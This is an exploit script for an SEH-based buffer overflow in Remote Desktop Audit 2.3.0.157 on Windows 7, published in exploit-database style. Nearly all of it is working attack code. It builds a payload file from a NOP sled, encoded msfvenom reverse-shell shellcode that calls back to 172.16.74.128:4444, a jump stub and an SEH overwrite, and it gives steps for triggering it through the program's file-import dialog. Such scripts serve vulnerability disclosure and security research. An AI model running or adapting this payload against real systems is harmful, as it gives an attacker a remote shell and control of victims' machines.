# Exploit Title: Remote Desktop Audit 2.3.0.157 - Buffer Overflow (SEH)
# Exploit Author: gurbanli
# Date: 2020-05-12
# Vulnerable Software: Remote Desktop Audit 2.3.0.157
# Vendor Homepage: https://lizardsystems.com
# Version: 2.3.0.157
# Software Link: https://lizardsystems.com/download/rdaudit_setup.exe
# Tested on: Windows 7 x86
f = file('payload.txt','w')

"""
Same with LanSend 3.2, but with different ppr address.
PoC
1. Run exploit
2. Run Remote Desktop Audit and Click Add Computers Wizard
3. Choose import computers from file
4. Copy/paste payload.txt content into filename section
5. shellcode will be executed

"""

"""
msfvenom -p windows/shell_reverse_tcp lhost=172.16.74.128 lport=4444 EXITFUNC=thread -f py -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
"""

shellcode =  b""
shellcode += b"\xda\xd0\xd9\x74\x24\xf4\x58\xbe\xa4\x95\xaf"
shellcode += b"\xc4\x2b\xc9\xb1\x52\x31\x70\x17\x03\x70\x17"
shellcode += b"\x83\x4c\x69\x4d\x31\x70\x7a\x10\xba\x88\x7b"
shellcode += b"\x75\x32\x6d\x4a\xb5\x20\xe6\xfd\x05\x22\xaa"
shellcode += b"\xf1\xee\x66\x5e\x81\x83\xae\x51\x22\x29\x89"
shellcode += b"\x5c\xb3\x02\xe9\xff\x37\x59\x3e\xdf\x06\x92"
shellcode += b"\x33\x1e\x4e\xcf\xbe\x72\x07\x9b\x6d\x62\x2c"
shellcode += b"\xd1\xad\x09\x7e\xf7\xb5\xee\x37\xf6\x94\xa1"
shellcode += b"\x4c\xa1\x36\x40\x80\xd9\x7e\x5a\xc5\xe4\xc9"
shellcode += b"\xd1\x3d\x92\xcb\x33\x0c\x5b\x67\x7a\xa0\xae"
shellcode += b"\x79\xbb\x07\x51\x0c\xb5\x7b\xec\x17\x02\x01"
shellcode += b"\x2a\x9d\x90\xa1\xb9\x05\x7c\x53\x6d\xd3\xf7"
shellcode += b"\x5f\xda\x97\x5f\x7c\xdd\x74\xd4\x78\x56\x7b"
shellcode += b"\x3a\x09\x2c\x58\x9e\x51\xf6\xc1\x87\x3f\x59"
shellcode += b"\xfd\xd7\x9f\x06\x5b\x9c\x32\x52\xd6\xff\x5a"
shellcode += b"\x97\xdb\xff\x9a\xbf\x6c\x8c\xa8\x60\xc7\x1a"
shellcode += b"\x81\xe9\xc1\xdd\xe6\xc3\xb6\x71\x19\xec\xc6"
shellcode += b"\x58\xde\xb8\x96\xf2\xf7\xc0\x7c\x02\xf7\x14"
shellcode += b"\xd2\x52\x57\xc7\x93\x02\x17\xb7\x7b\x48\x98"
shellcode += b"\xe8\x9c\x73\x72\x81\x37\x8e\x15\x02\xd7\xda"
shellcode += b"\x65\x32\xda\xda\x74\x9f\x53\x3c\x1c\x0f\x32"
shellcode += b"\x97\x89\xb6\x1f\x63\x2b\x36\x8a\x0e\x6b\xbc"
shellcode += b"\x39\xef\x22\x35\x37\xe3\xd3\xb5\x02\x59\x75"
shellcode += b"\xc9\xb8\xf5\x19\x58\x27\x05\x57\x41\xf0\x52"
shellcode += b"\x30\xb7\x09\x36\xac\xee\xa3\x24\x2d\x76\x8b"
shellcode += b"\xec\xea\x4b\x12\xed\x7f\xf7\x30\xfd\xb9\xf8"
shellcode += b"\x7c\xa9\x15\xaf\x2a\x07\xd0\x19\x9d\xf1\x8a"
shellcode += b"\xf6\x77\x95\x4b\x35\x48\xe3\x53\x10\x3e\x0b"
shellcode += b"\xe5\xcd\x07\x34\xca\x99\x8f\x4d\x36\x3a\x6f"
shellcode += b"\x84\xf2\x5a\x92\x0c\x0f\xf3\x0b\xc5\xb2\x9e"
shellcode += b"\xab\x30\xf0\xa6\x2f\xb0\x89\x5c\x2f\xb1\x8c"
shellcode += b"\x19\xf7\x2a\xfd\x32\x92\x4c\x52\x32\xb7"

"""
047FFF09   59               POP ECX
047FFF0A   59               POP ECX
047FFF0B   80C1 64          ADD CL,64
047FFF0E  ^FFE1             JMP ECX
"""
jmp_to_shellcode = '\x59\x59\x80\xc1\x64\xff\xe1'

"""ppr 00418230"""

payload = '\x90' * 30 + shellcode + jmp_to_shellcode + 'A' * 12 + '\xeb\xeb\x90\x90' + '\x30\x82\x41'
f.write(payload)
f.close()